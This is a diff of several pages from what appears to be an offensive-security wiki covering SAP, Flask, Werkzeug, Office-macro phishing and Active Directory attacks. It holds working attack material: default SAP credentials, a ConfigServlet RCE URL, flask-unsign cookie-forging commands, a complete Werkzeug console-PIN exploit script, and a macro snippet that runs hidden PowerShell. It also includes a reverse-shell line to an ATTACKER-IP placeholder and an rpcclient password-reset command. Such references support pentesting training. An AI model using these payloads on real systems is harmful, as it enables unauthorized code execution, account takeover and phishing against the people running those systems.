# AS ABAP 7.51 SP01 Developer Edition:
|
||||
# https://blogs.sap.com/2018/09/13/as-abap-7.52-sp01-developer-edition-concise-installation-guide/
|
||||
# AS ABAP 7.52 SP04 Developer Edition:
|
||||
# https://blogs.sap.com/2019/10/01/as-abap-7.52-sp04-developer-edition-concise-installation-guide/
|
||||
DDIC:Down1oad:000,001
|
||||
SAP*:Down1oad:000,001
|
||||
DEVELOPER:Down1oad:001
|
||||
BWDEVELOPER:Down1oad:001
|
||||
```
|
||||
|
||||
* Run Wireshark then authenticate to the client \(SAP GUI\) using the credentials you got because some clients transmit credentials without SSL. There are two known plugins for Wireshark that can dissect the main headers used by the SAP DIAG protocol too: SecureAuth Labs SAP dissection plug-in and SAP DIAG plugin by Positive Research Center.
|
||||
* Check for privilege escalations like using some SAP Transaction Codes \(tcodes\) for low-privilege users: SU01 - To create and maintain the users SU01D - To Display Users SU10 - For mass maintenance SU02 - For Manual creation of profiles SM19 - Security audit - configuration SE84 - Information System for SAP R/3 Authorizations
|
||||
* Check if you can execute system commands / run scripts in the client.
|
||||
* Check if you can do XSS on BAPI Explorer
|
||||
|
||||
### Testing the web interface
|
||||
|
||||
* Crawl the URLs \(see discovery phase\).
|
||||
* Fuzz the URLs like in the discovery phase. Here is what [http://SAP:50000/index.html](http://sap:50000/index.html) looks like:
|
||||
|
||||
![alt text](https://github.com/shipcod3/mySapAdventures/blob/master/screengrabs/index.jpeg)
|
||||
|
||||
* Look for common web vulnerabilities \(Refer to OWASP Top 10\) because there are XSS, RCE, XXE, etc. vulnerabilities in some places.
|
||||
* Check out Jason Haddix’s [“The Bug Hunters Methodology”](https://github.com/jhaddix/tbhm) for testing web vulnerabilities.
|
||||
* Auth Bypass via verb Tampering? Maybe :\)
|
||||
* Open `http://SAP:50000/webdynpro/resources/sap.com/XXX/JWFTestAddAssignees#` then hit the “Choose” Button and then in the opened window press “Search”. You should be able to see a list of SAP users \(Vulnerability Reference: [ERPSCAN-16-010](https://erpscan.com/advisories/erpscan-16-010-sap-netweaver-7-4-information-disclosure/) \)
|
||||
* Are the credentials submitted over HTTP? If it is then it is considered as P3 based on Bugcrowd’s [Vulnerability Rating Taxonomy](https://bugcrowd.com/vulnerability-rating-taxonomy): Broken Authentication and Session Management \| Weak Login Function Over HTTP. Hint: Check out [http://SAP:50000/startPage](http://sap:50000/startPage) too or the logon portals :\)
|
||||
|
||||
![alt text](https://github.com/shipcod3/mySapAdventures/blob/master/screengrabs/startPage.jpeg)
|
||||
|
||||
* Try `/irj/go/km/navigation/` for possible directory listing or authentication bypass
|
||||
* [http://SAP/sap/public/info](http://sap/sap/public/info) contains some juicy information:
|
||||
|
||||
```text
|
||||
This XML file does not appear to have any style information associated with it. The document tree is shown below.
|
||||
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/">
|
||||
<SOAP-ENV:Body>
|
||||
<rfc:RFC_SYSTEM_INFO.Response xmlns:rfc="urn:sap-com:document:sap:rfc:functions">
|
||||
<RFCSI>
|
||||
<RFCPROTO>011</RFCPROTO>
|
||||
<RFCCHARTYP>4102</RFCCHARTYP>
|
||||
<RFCINTTYP>BIG</RFCINTTYP>
|
||||
<RFCFLOTYP>IE3</RFCFLOTYP>
|
||||
<RFCDEST>randomnum</RFCDEST>
|
||||
<RFCHOST>randomnum</RFCHOST>
|
||||
<RFCSYSID>BRQ</RFCSYSID>
|
||||
<RFCDATABS>BRQ</RFCDATABS>
|
||||
<RFCDBHOST>randomnum</RFCDBHOST>
|
||||
<RFCDBSYS>ORACLE</RFCDBSYS>
|
||||
<RFCSAPRL>740</RFCSAPRL>
|
||||
<RFCMACH>324</RFCMACH>
|
||||
<RFCOPSYS>AIX</RFCOPSYS>
|
||||
<RFCTZONE>-25200</RFCTZONE>
|
||||
<RFCDAYST/>
|
||||
<RFCIPADDR>192.168.1.8</RFCIPADDR>
|
||||
<RFCKERNRL>749</RFCKERNRL>
|
||||
<RFCHOST2>randomnum</RFCHOST2>
|
||||
<RFCSI_RESV/>
|
||||
<RFCIPV6ADDR>192.168.1.8</RFCIPV6ADDR>
|
||||
</RFCSI>
|
||||
</rfc:RFC_SYSTEM_INFO.Response>
|
||||
</SOAP-ENV:Body>
|
||||
</SOAP-ENV:Envelope>
|
||||
```
|
||||
|
||||
### Attack!
|
||||
|
||||
* Check if it runs on old servers or technologies like Windows 2000.
|
||||
* Plan the possible exploits / attacks, there are a lot of Metasploit modules for SAP discovery \(auxiliary modules\) and exploits:
|
||||
|
||||
```text
|
||||
msf > search sap
|
||||
Matching Modules
|
||||
================
|
||||
Name Disclosure Date Rank Description
|
||||
---- --------------- ---- -----------
|
||||
auxiliary/admin/maxdb/maxdb_cons_exec 2008-01-09 normal SAP MaxDB cons.exe Remote Command Injection
|
||||
auxiliary/admin/sap/sap_configservlet_exec_noauth 2012-11-01 normal SAP ConfigServlet OS Command Execution
|
||||
auxiliary/admin/sap/sap_mgmt_con_osexec normal SAP Management Console OSExecute
|
||||
auxiliary/dos/sap/sap_soap_rfc_eps_delete_file normal SAP SOAP EPS_DELETE_FILE File Deletion
|
||||
auxiliary/dos/windows/http/pi3web_isapi 2008-11-13 normal Pi3Web ISAPI DoS
|
||||
auxiliary/dos/windows/llmnr/ms11_030_dnsapi 2011-04-12 normal Microsoft Windows DNSAPI.dll LLMNR Buffer Underrun DoS
|
||||
auxiliary/scanner/http/sap_businessobjects_user_brute normal SAP BusinessObjects User Bruteforcer
|
||||
auxiliary/scanner/http/sap_businessobjects_user_brute_web normal SAP BusinessObjects Web User Bruteforcer
|
||||
auxiliary/scanner/http/sap_businessobjects_user_enum normal SAP BusinessObjects User Enumeration
|
||||
auxiliary/scanner/http/sap_businessobjects_version_enum normal SAP BusinessObjects Version Detection
|
||||
auxiliary/scanner/sap/sap_ctc_verb_tampering_user_mgmt normal SAP CTC Service Verb Tampering User Management
|
||||
auxiliary/scanner/sap/sap_hostctrl_getcomputersystem normal SAP Host Agent Information Disclosure
|
||||
auxiliary/scanner/sap/sap_icf_public_info normal SAP ICF /sap/public/info Service Sensitive Information Gathering
|
||||
auxiliary/scanner/sap/sap_icm_urlscan normal SAP URL Scanner
|
||||
auxiliary/scanner/sap/sap_mgmt_con_abaplog normal SAP Management Console ABAP Syslog Disclosure
|
||||
auxiliary/scanner/sap/sap_mgmt_con_brute_login normal SAP Management Console Brute Force
|
||||
auxiliary/scanner/sap/sap_mgmt_con_extractusers normal SAP Management Console Extract Users
|
||||
auxiliary/scanner/sap/sap_mgmt_con_getaccesspoints normal SAP Management Console Get Access Points
|
||||
auxiliary/scanner/sap/sap_mgmt_con_getenv normal SAP Management Console getEnvironment
|
||||
auxiliary/scanner/sap/sap_mgmt_con_getlogfiles normal SAP Management Console Get Logfile
|
||||
auxiliary/scanner/sap/sap_mgmt_con_getprocesslist normal SAP Management Console GetProcessList
|
||||
auxiliary/scanner/sap/sap_mgmt_con_getprocessparameter normal SAP Management Console Get Process Parameters
|
||||
auxiliary/scanner/sap/sap_mgmt_con_instanceproperties normal SAP Management Console Instance Properties
|
||||
auxiliary/scanner/sap/sap_mgmt_con_listlogfiles normal SAP Management Console List Logfiles
|
||||
auxiliary/scanner/sap/sap_mgmt_con_startprofile normal SAP Management Console getStartProfile
|
||||
auxiliary/scanner/sap/sap_mgmt_con_version normal SAP Management Console Version Detection
|
||||
auxiliary/scanner/sap/sap_router_info_request normal SAPRouter Admin Request
|
||||
auxiliary/scanner/sap/sap_router_portscanner normal SAPRouter Port Scanner
|
||||
auxiliary/scanner/sap/sap_service_discovery normal SAP Service Discovery
|
||||
auxiliary/scanner/sap/sap_smb_relay normal SAP SMB Relay Abuse
|
||||
auxiliary/scanner/sap/sap_soap_bapi_user_create1 normal SAP /sap/bc/soap/rfc SOAP Service BAPI_USER_CREATE1 Function User Creation
|
||||
auxiliary/scanner/sap/sap_soap_rfc_brute_login normal SAP SOAP Service RFC_PING Login Brute Forcer
|
||||
auxiliary/scanner/sap/sap_soap_rfc_dbmcli_sxpg_call_system_command_exec normal SAP /sap/bc/soap/rfc SOAP Service SXPG_CALL_SYSTEM Function Command Injection
|
||||
auxiliary/scanner/sap/sap_soap_rfc_dbmcli_sxpg_command_exec normal SAP /sap/bc/soap/rfc SOAP Service SXPG_COMMAND_EXEC Function Command Injection
|
||||
auxiliary/scanner/sap/sap_soap_rfc_eps_get_directory_listing normal SAP SOAP RFC EPS_GET_DIRECTORY_LISTING Directories Information Disclosure
|
||||
auxiliary/scanner/sap/sap_soap_rfc_pfl_check_os_file_existence normal SAP SOAP RFC PFL_CHECK_OS_FILE_EXISTENCE File Existence Check
|
||||
auxiliary/scanner/sap/sap_soap_rfc_ping normal SAP /sap/bc/soap/rfc SOAP Service RFC_PING Function Service Discovery
|
||||
auxiliary/scanner/sap/sap_soap_rfc_read_table normal SAP /sap/bc/soap/rfc SOAP Service RFC_READ_TABLE Function Dump Data
|
||||
auxiliary/scanner/sap/sap_soap_rfc_rzl_read_dir normal SAP SOAP RFC RZL_READ_DIR_LOCAL Directory Contents Listing
|
||||
auxiliary/scanner/sap/sap_soap_rfc_susr_rfc_user_interface normal SAP /sap/bc/soap/rfc SOAP Service SUSR_RFC_USER_INTERFACE Function User Creation
|
||||
auxiliary/scanner/sap/sap_soap_rfc_sxpg_call_system_exec normal SAP /sap/bc/soap/rfc SOAP Service SXPG_CALL_SYSTEM Function Command Execution
|
||||
auxiliary/scanner/sap/sap_soap_rfc_sxpg_command_exec normal SAP SOAP RFC SXPG_COMMAND_EXECUTE
|
||||
auxiliary/scanner/sap/sap_soap_rfc_system_info normal SAP /sap/bc/soap/rfc SOAP Service RFC_SYSTEM_INFO Function Sensitive Information Gathering
|
||||
auxiliary/scanner/sap/sap_soap_th_saprel_disclosure normal SAP /sap/bc/soap/rfc SOAP Service TH_SAPREL Function Information Disclosure
|
||||
auxiliary/scanner/sap/sap_web_gui_brute_login normal SAP Web GUI Login Brute Forcer
|
||||
exploit/multi/sap/sap_mgmt_con_osexec_payload 2011-03-08 excellent SAP Management Console OSExecute Payload Execution
|
||||
exploit/multi/sap/sap_soap_rfc_sxpg_call_system_exec 2013-03-26 great SAP SOAP RFC SXPG_CALL_SYSTEM Remote Command Execution
|
||||
exploit/multi/sap/sap_soap_rfc_sxpg_command_exec 2012-05-08 great SAP SOAP RFC SXPG_COMMAND_EXECUTE Remote Command Execution
|
||||
exploit/windows/browser/enjoysapgui_comp_download 2009-04-15 excellent EnjoySAP SAP GUI ActiveX Control Arbitrary File Download
|
||||
exploit/windows/browser/enjoysapgui_preparetoposthtml 2007-07-05 normal EnjoySAP SAP GUI ActiveX Control Buffer Overflow
|
||||
exploit/windows/browser/sapgui_saveviewtosessionfile 2009-03-31 normal SAP AG SAPgui EAI WebViewer3D Buffer Overflow
|
||||
exploit/windows/http/sap_configservlet_exec_noauth 2012-11-01 great SAP ConfigServlet Remote Code Execution
|
||||
exploit/windows/http/sap_host_control_cmd_exec 2012-08-14 average SAP NetWeaver HostControl Command Injection
|
||||
exploit/windows/http/sapdb_webtools 2007-07-05 great SAP DB 7.4 WebTools Buffer Overflow
|
||||
exploit/windows/lpd/saplpd 2008-02-04 good SAP SAPLPD 6.28 Buffer Overflow
|
||||
exploit/windows/misc/sap_2005_license 2009-08-01 great SAP Business One License Manager 2005 Buffer Overflow
|
||||
exploit/windows/misc/sap_netweaver_dispatcher 2012-05-08 normal SAP NetWeaver Dispatcher DiagTraceR3Info Buffer Overflow
|
||||
```
|
||||
|
||||
* Try to use some known exploits \(check out Exploit-DB\) or attacks like the old but goodie “SAP ConfigServlet Remote Code Execution” in the SAP Portal:
|
||||
|
||||
```text
|
||||
http://example.com:50000/ctc/servlet/com.sap.ctc.util.ConfigServlet?param=com.sap.ctc.util.FileSystemConfig;EXECUTE_CMD;CMDLINE=uname -a
|
||||
```
|
||||
|
||||
![alt text](https://github.com/shipcod3/mySapAdventures/blob/master/screengrabs/sap_rce.jpeg)
|
||||
|
||||
* Before running the `start` command on the bizploit script at the Discovery phase, you can also add the following for performing vulnerability assessment:
|
||||
|
||||
```text
|
||||
bizploit> plugins
|
||||
bizploit/plugins> vulnassess all
|
||||
bizploit/plugins> vulnassess config bruteLogin
|
||||
bizploit/plugins/vulnassess/config:bruteLogin> set type defaultUsers
|
||||
bizploit/plugins/vulnassess/config:bruteLogin> set tryHardcodedSAPStar True
|
||||
bizploit/plugins/vulnassess/config:bruteLogin> set tryUserAsPwd True
|
||||
bizploit/plugins/vulnassess/config:bruteLogin> back
|
||||
bizploit/plugins> vulnassess config registerExtServer
|
||||
bizploit/plugins/vulnassess/config:registerExtServer> set tpname evilgw
|
||||
bizploit/plugins/vulnassess/config:registerExtServer> back
|
||||
bizploit/plugins> vulnassess config checkRFCPrivs
|
||||
bizploit/plugins/vulnassess/config:checkRFCPrivs> set checkExtOSCommands True
|
||||
bizploit/plugins/vulnassess/config:checkRFCPrivs> back
|
||||
bizploit/plugins> vulnassess config icmAdmin
|
||||
bizploit/plugins/vulnassess/config:icmAdmin> set adminURL /sap/admin
|
||||
bizploit/plugins/vulnassess/config:icmAdmin> back
|
||||
bizploit/plugins> start
|
||||
bizploit/plugins> back
|
||||
bizploit> start
|
||||
```
|
||||
|
||||
### Other Useful Tools for Testing
|
||||
|
||||
* [PowerSAP](https://github.com/airbus-seclab/powersap) - Powershell tool to assess sap security
|
||||
* [Burp Suite](https://portswigger.net/burp) - a must have for directory fuzzing and web security assessments
|
||||
* [pysap](https://github.com/SecureAuthCorp/pysap) - Python library to craft SAP network protocol packets
|
||||
* [https://github.com/gelim/nmap-erpscan](https://github.com/gelim/nmap-erpscan) - Help nmap to detect SAP/ERP
|
||||
|
||||
### References
|
||||
|
||||
* [SAP Penetration Testing Using Metasploit](http://information.rapid7.com/rs/rapid7/images/SAP%20Penetration%20Testing%20Using%20Metasploit%20Final.pdf)
|
||||
* [https://github.com/davehardy20/SAP-Stuff](https://github.com/davehardy20/SAP-Stuff) - a script to semi-automate Bizploit
|
||||
* [SAP NetWeaver ABAP security configuration part 3: Default passwords for access to the application](https://erpscan.com/press-center/blog/sap-netweaver-abap-security-configuration-part-2-default-passwords-for-access-to-the-application/)
|
||||
* [List of ABAP-transaction codes related to SAP security](https://wiki.scn.sap.com/wiki/display/Security/List+of+ABAP-transaction+codes+related+to+SAP+security)
|
||||
* [Breaking SAP Portal](https://erpscan.com/wp-content/uploads/presentations/2012-HackerHalted-Breaking-SAP-Portal.pdf)
|
||||
* [Top 10 most interesting SAP vulnerabilities and attacks](https://erpscan.com/wp-content/uploads/presentations/2012-Kuwait-InfoSecurity-Top-10-most-interesting-vulnerabilities-and-attacks-in-SAP.pdf)
|
||||
* [Assessing the security of SAP ecosystems with bizploit: Discovery](https://www.onapsis.com/blog/assessing-security-sap-ecosystems-bizploit-discovery)
|
||||
* [https://www.exploit-db.com/docs/43859](https://www.exploit-db.com/docs/43859)
|
||||
* [https://resources.infosecinstitute.com/topic/pen-stesting-sap-applications-part-1/](https://resources.infosecinstitute.com/topic/pen-stesting-sap-applications-part-1/)
|
||||
* [https://github.com/shipcod3/mySapAdventures](https://github.com/shipcod3/mySapAdventures)
|
||||
|
|
@ -244,7 +244,8 @@ smbclient -U '%' -N \\\\192.168.0.24\\ADMIN$ # returns NT_STATUS_ACCESS_DENIED o
|
|||
### Mount a shared folder
|
||||
|
||||
```bash
|
||||
mount -t cifs -o username=user,password=password //x.x.x.x/share /mnt/share
|
||||
mount -t cifs //x.x.x.x/share /mnt/share
|
||||
mount -t cifs -o "username=user,password=password" //x.x.x.x/share /mnt/share
|
||||
```
|
||||
|
||||
### **Download files**
|
||||
|
|
|
@ -364,6 +364,17 @@ You can attack some **characteristics** of **mail clients** to make the user thi
|
|||
|
||||
**Find more information about these protections in** [**https://seanthegeek.net/459/demystifying-dmarc/**](https://seanthegeek.net/459/demystifying-dmarc/)\*\*\*\*
|
||||
|
||||
### **Other phishing indicators**
|
||||
|
||||
* Domain’s age
|
||||
* Links pointing to IP addresses
|
||||
* Link manipulation techniques
|
||||
* Suspicious \(uncommon\) attachments
|
||||
* Broken email content
|
||||
* Values used that are different to those of the mail headers
|
||||
* Existence of a valid and trusted SSL certificate
|
||||
* Submission of the page to web content filtering sites
|
||||
|
||||
## Exfiltration through SMTP
|
||||
|
||||
**If you can send data via SMTP** [**read this**](../../exfiltration.md#smtp)**.**
|
||||
|
|
|
@ -24,7 +24,7 @@ Accessing _/user/<number>_ you can see the number of existing users, in th
|
|||
|
||||
![](../../.gitbook/assets/image%20%2826%29.png)
|
||||
|
||||
![](../../.gitbook/assets/image%20%28158%29.png)
|
||||
![](../../.gitbook/assets/image%20%28227%29.png)
|
||||
|
||||
## Hidden pages enumeration
|
||||
|
||||
|
|
|
@ -4,6 +4,8 @@
|
|||
|
||||
## Cookies
|
||||
|
||||
Default cookie session name is **`session`**.
|
||||
|
||||
### Decoder
|
||||
|
||||
Online Flask coockies decoder: [https://www.kirsle.net/wizards/flask-session.cgi](https://www.kirsle.net/wizards/flask-session.cgi)
|
||||
|
@ -12,7 +14,7 @@ Online Flask coockies decoder: [https://www.kirsle.net/wizards/flask-session.cgi
|
|||
|
||||
Get the first part of the cookie until the first point and Base64 decode it>
|
||||
|
||||
```text
|
||||
```bash
|
||||
echo "ImhlbGxvIg" | base64 -d
|
||||
```
|
||||
|
||||
|
@ -24,31 +26,31 @@ Command line tool to fetch, decode, brute-force and craft session cookies of a F
|
|||
|
||||
{% embed url="https://pypi.org/project/flask-unsign/" %}
|
||||
|
||||
```text
|
||||
```bash
|
||||
pip3 install flask-unsign
|
||||
```
|
||||
|
||||
#### **Decode Cookie**
|
||||
|
||||
```text
|
||||
```bash
|
||||
flask-unsign --decode --cookie 'eyJsb2dnZWRfaW4iOmZhbHNlfQ.XDuWxQ.E2Pyb6x3w-NODuflHoGnZOEpbH8'
|
||||
```
|
||||
|
||||
#### **Brute Force**
|
||||
|
||||
```text
|
||||
```bash
|
||||
flask-unsign --unsign --cookie < cookie.txt
|
||||
```
|
||||
|
||||
#### **Signing**
|
||||
|
||||
```text
|
||||
```bash
|
||||
flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME'
|
||||
```
|
||||
|
||||
#### Signing using legacy \(old versions\)
|
||||
|
||||
```text
|
||||
```bash
|
||||
flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME' --legacy
|
||||
```
|
||||
|
||||
|
|
|
@ -102,7 +102,7 @@ Below you can find the simplest demonstration of an application authentication r
|
|||
|
||||
As we can see from the response screenshot, the first and the third requests returned _null_ and reflected the corresponding information in the _error_ section. The **second mutation had the correct authentication** data and the response has the correct authentication session token.
|
||||
|
||||
![](../../.gitbook/assets/image%20%2867%29.png)
|
||||
![](../../.gitbook/assets/image%20%28119%29.png)
|
||||
|
||||
## Tools
|
||||
|
||||
|
|
|
@ -1,5 +1,7 @@
|
|||
# werkzeug
|
||||
|
||||
## Console RCE
|
||||
|
||||
If debug is active you could try to access to `/console` and gain RCE.
|
||||
|
||||
```python
|
||||
|
@ -10,5 +12,186 @@ __import__('os').popen('whoami').read();
|
|||
|
||||
There is also several exploits on the internet like [this ](https://github.com/its-arun/Werkzeug-Debug-RCE)or one in metasploit.
|
||||
|
||||
## Pin Protected
|
||||
|
||||
In some occasions the /console endpoint is going to be protected by a pin. Here you can find how to generate this pin:
|
||||
|
||||
* [https://www.daehee.com/werkzeug-console-pin-exploit/](https://www.daehee.com/werkzeug-console-pin-exploit/)
|
||||
* [https://ctftime.org/writeup/17955](https://ctftime.org/writeup/17955)
|
||||
|
||||
### Werkzeug Console PIN Exploit
|
||||
|
||||
**Copied from the first link.**
|
||||
See Werkzeug “console locked” message by forcing debug error page in the app.
|
||||
|
||||
```text
|
||||
The console is locked and needs to be unlocked by entering the PIN.
|
||||
You can find the PIN printed out on the standard output of your
|
||||
shell that runs the server
|
||||
```
|
||||
|
||||
Locate vulernable Werkzeug debug console at path `vulnerable-site.com/console`, but is locked by secret PIN number.
|
||||
|
||||
You can reverse the algorithm generating the console PIN. Inspect Werkzeug’s debug `__init__.py` file on server e.g. `python3.5/site-packages/werkzeug/debug/__init__.py`. View [Werkzeug source code repo](https://github.com/pallets/werkzeug/blob/master/src/werkzeug/debug/__init__.py), but better to leak source code through file traversal vulnerability since versions likely differ.
|
||||
|
||||
In this file, see relevant method outlining steps to generate console PIN:
|
||||
|
||||
```python
|
||||
def get_pin_and_cookie_name(app):
|
||||
pin = os.environ.get('WERKZEUG_DEBUG_PIN')
|
||||
rv = None
|
||||
num = None
|
||||
|
||||
# Pin was explicitly disabled
|
||||
if pin == 'off':
|
||||
return None, None
|
||||
|
||||
# Pin was provided explicitly
|
||||
if pin is not None and pin.replace('-', '').isdigit():
|
||||
# If there are separators in the pin, return it directly
|
||||
if '-' in pin:
|
||||
rv = pin
|
||||
else:
|
||||
num = pin
|
||||
|
||||
modname = getattr(app, '__module__',
|
||||
getattr(app.__class__, '__module__'))
|
||||
|
||||
try:
|
||||
# `getpass.getuser()` imports the `pwd` module,
|
||||
# which does not exist in the Google App Engine sandbox.
|
||||
username = getpass.getuser()
|
||||
except ImportError:
|
||||
username = None
|
||||
|
||||
mod = sys.modules.get(modname)
|
||||
|
||||
# This information only exists to make the cookie unique on the
|
||||
# computer, not as a security feature.
|
||||
probably_public_bits = [
|
||||
username,
|
||||
modname,
|
||||
getattr(app, '__name__', getattr(app.__class__, '__name__')),
|
||||
getattr(mod, '__file__', None),
|
||||
]
|
||||
|
||||
# This information is here to make it harder for an attacker to
|
||||
# guess the cookie name. They are unlikely to be contained anywhere
|
||||
# within the unauthenticated debug page.
|
||||
private_bits = [
|
||||
str(uuid.getnode()),
|
||||
get_machine_id(),
|
||||
]
|
||||
|
||||
h = hashlib.md5()
|
||||
for bit in chain(probably_public_bits, private_bits):
|
||||
if not bit:
|
||||
continue
|
||||
if isinstance(bit, text_type):
|
||||
bit = bit.encode('utf-8')
|
||||
h.update(bit)
|
||||
h.update(b'cookiesalt')
|
||||
|
||||
cookie_name = '__wzd' + h.hexdigest()[:20]
|
||||
|
||||
# If we need to generate a pin we salt it a bit more so that we don't
|
||||
# end up with the same value and generate out 9 digits
|
||||
if num is None:
|
||||
h.update(b'pinsalt')
|
||||
num = ('%09d' % int(h.hexdigest(), 16))[:9]
|
||||
|
||||
# Format the pincode in groups of digits for easier remembering if
|
||||
# we don't have a result yet.
|
||||
if rv is None:
|
||||
for group_size in 5, 4, 3:
|
||||
if len(num) % group_size == 0:
|
||||
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
|
||||
for x in range(0, len(num), group_size))
|
||||
break
|
||||
else:
|
||||
rv = num
|
||||
|
||||
return rv, cookie_name
|
||||
```
|
||||
|
||||
Variables needed to exploit the console PIN:
|
||||
|
||||
```python
|
||||
probably_public_bits = [
|
||||
username,
|
||||
modname,
|
||||
getattr(app, '__name__', getattr(app.__class__, '__name__')),
|
||||
getattr(mod, '__file__', None),
|
||||
]
|
||||
|
||||
private_bits = [
|
||||
str(uuid.getnode()),
|
||||
get_machine_id(),
|
||||
]
|
||||
```
|
||||
|
||||
* `username` is the user who started this Flask
|
||||
* `modname` is flask.app
|
||||
* `getattr(app, '__name__', getattr (app .__ class__, '__name__'))` is Flask
|
||||
* `getattr(mod, '__file__', None)` is the absolute path of an app.py in the flask directory
|
||||
* `uuid.getnode()` is the MAC address of the current computer, `str (uuid.getnode ())` is the decimal expression of the mac address
|
||||
* `get_machine_id()` read the value in `/etc/machine-id` or `/proc/sys/kernel/random/boot_i` and return directly if there is
|
||||
|
||||
To find server MAC address, need to know which network interface is being used to serve the app \(e.g. `ens3`\). If unknown, leak `/proc/net/arp` for device ID and then leak MAC address at `/sys/class/net/<device id>/address`.
|
||||
|
||||
Convert from hex address to decimal representation by running in python e.g.:
|
||||
|
||||
```python
|
||||
>>> print(0x5600027a23ac)
|
||||
94558041547692
|
||||
```
|
||||
|
||||
Once all variables prepared, run exploit script to generate Werkzeug console PIN:
|
||||
|
||||
```python
|
||||
import hashlib
|
||||
from itertools import chain
|
||||
probably_public_bits = [
|
||||
'web3_user',# username
|
||||
'flask.app',# modname
|
||||
'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__'))
|
||||
'/usr/local/lib/python3.5/dist-packages/flask/app.py' # getattr(mod, '__file__', None),
|
||||
]
|
||||
|
||||
private_bits = [
|
||||
'279275995014060',# str(uuid.getnode()), /sys/class/net/ens33/address
|
||||
'd4e6cb65d59544f3331ea0425dc555a1'# get_machine_id(), /etc/machine-id
|
||||
]
|
||||
|
||||
h = hashlib.md5()
|
||||
for bit in chain(probably_public_bits, private_bits):
|
||||
if not bit:
|
||||
continue
|
||||
if isinstance(bit, str):
|
||||
bit = bit.encode('utf-8')
|
||||
h.update(bit)
|
||||
h.update(b'cookiesalt')
|
||||
#h.update(b'shittysalt')
|
||||
|
||||
cookie_name = '__wzd' + h.hexdigest()[:20]
|
||||
|
||||
num = None
|
||||
if num is None:
|
||||
h.update(b'pinsalt')
|
||||
num = ('%09d' % int(h.hexdigest(), 16))[:9]
|
||||
|
||||
rv =None
|
||||
if rv is None:
|
||||
for group_size in 5, 4, 3:
|
||||
if len(num) % group_size == 0:
|
||||
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
|
||||
for x in range(0, len(num), group_size))
|
||||
break
|
||||
else:
|
||||
rv = num
|
||||
|
||||
print(rv)
|
||||
```
|
||||
|
||||
|
||||
|
||||
|
|
|
@ -183,7 +183,7 @@ It is recommended to disable Wp-Cron and create a real cronjob inside the host t
|
|||
</methodCall>
|
||||
```
|
||||
|
||||
![](../../.gitbook/assets/image%20%2890%29.png)
|
||||
![](../../.gitbook/assets/image%20%28107%29.png)
|
||||
|
||||
![](../../.gitbook/assets/image%20%28224%29.png)
|
||||
|
||||
|
|
|
@ -1,5 +1,19 @@
|
|||
# Phising Documents
|
||||
|
||||
Microsoft Word performs file data validation prior to opening a file. Data validation is performed in the form of data structure identification, against the OfficeOpenXML standard. If any error occurs during the data structure identification, the file being analysed will not be opened.
|
||||
|
||||
Usually Word files containing macros uses the `.docm` extension. However, it's possible to rename the file changing the file extension and still keep their macro executing capabilities.
|
||||
For example, an RTF file does not support macros, by design, but a DOCM file renamed to RTF will be handled by Microsoft Word and will be capable of macro execution.
|
||||
The same internals and mechanisms apply to all software of the Microsoft Office Suite \(Excel, PowerPoint etc.\).
|
||||
|
||||
You can use the following command to check with extensions are going to be executed by some Office programs:
|
||||
|
||||
```bash
|
||||
assoc | findstr /i "word excel powerp"
|
||||
```
|
||||
|
||||
DOCX files referencing a remote template \(File –Options –Add-ins –Manage: Templates –Go\) that includes macros can “execute” macros as well.
|
||||
|
||||
### Word with external image
|
||||
|
||||
Go to: _Insert --> Quick Parts --> Field_
|
||||
|
@ -7,3 +21,20 @@ _**Categories**: Links and References, **Filed names**: includePicture, and **Fi
|
|||
|
||||
![](.gitbook/assets/image%20%28347%29.png)
|
||||
|
||||
### Macros Code
|
||||
|
||||
```bash
|
||||
Dim author As String
|
||||
author = oWB.BuiltinDocumentProperties("Author")
|
||||
With objWshell1.Exec("powershell.exe -nop -Windowsstyle hidden -Command-")
|
||||
.StdIn.WriteLine author
|
||||
.StdIn.WriteBlackLines 1
|
||||
```
|
||||
|
||||
## Autoload functions
|
||||
|
||||
The more common they are, the more probable the AV will detect it.
|
||||
|
||||
* AutoOpen\(\)
|
||||
* Document\_Open\(\)
|
||||
*
|
||||
|
|
|
@ -15,6 +15,8 @@ sh -i >& /dev/udp/127.0.0.1/4242 0>&1 #UDP
|
|||
exec 5<>/dev/tcp/<ATTACKER-IP>/<PORT>; while read line 0<&5; do $line 2>&5 >&5; done
|
||||
```
|
||||
|
||||
Don't forget to check with others shell : sh, ash, bsh, csh, ksh, zsh, pdksh, tcsh, bash
|
||||
|
||||
### Symbol safe shell
|
||||
|
||||
```bash
|
||||
|
|
|
@ -104,7 +104,8 @@ Find hidden content using Fast Fourier T
|
|||
Check it in:
|
||||
|
||||
* [http://bigwww.epfl.ch/demo/ip/demos/FFT/](http://bigwww.epfl.ch/demo/ip/demos/FFT/)
|
||||
* [http://www.ejectamenta.com/Imaging-Experiments/fourierimagefiltering.html](http://www.ejectamenta.com/Imaging-Experiments/fourierimagefiltering.html)
|
||||
* [https://www.ejectamenta.com/Fourifier-fullscreen/](https://www.ejectamenta.com/Fourifier-fullscreen/)
|
||||
* [https://github.com/0xcomposure/FFTStegPic](https://github.com/0xcomposure/FFTStegPic) `pip3 install opencv-python`
|
||||
|
||||
### Stegpy \[PNG, BMP, GIF, WebP, WAV\]
|
||||
|
||||
|
|
|
@ -396,7 +396,7 @@ If you don't execute this from a Domain Controller, ATA is going to catch you, s
|
|||
|
||||
|
||||
|
||||
![](../../.gitbook/assets/68747470733a2f2f7777772e6275796d6561636f666665652e636f6d2f6173736574732f696d672f637573746f6d5f696d616765732f6f72616e67655f696d672e706e67%20%282%29.png)
|
||||
![](../../.gitbook/assets/68747470733a2f2f7777772e6275796d6561636f666665652e636f6d2f6173736574732f696d672f637573746f6d5f696d616765732f6f72616e67655f696d672e706e67%20%286%29%20%282%29.png)
|
||||
|
||||
[**Buy me a coffee here**](https://www.buymeacoffee.com/carlospolop)\*\*\*\*
|
||||
|
||||
|
|
|
@ -157,6 +157,19 @@ Set-DomainUserPassword -Identity delegate -AccountPassword (ConvertTo-SecureStri
|
|||
|
||||
![](../../.gitbook/assets/16.png)
|
||||
|
||||
and one last way yo achieve this from linux:
|
||||
|
||||
```markup
|
||||
rpcclient -U KnownUsername 10.10.10.192
|
||||
> setuserinfo2 UsernameChange 23 'ComplexP4ssw0rd!'
|
||||
```
|
||||
|
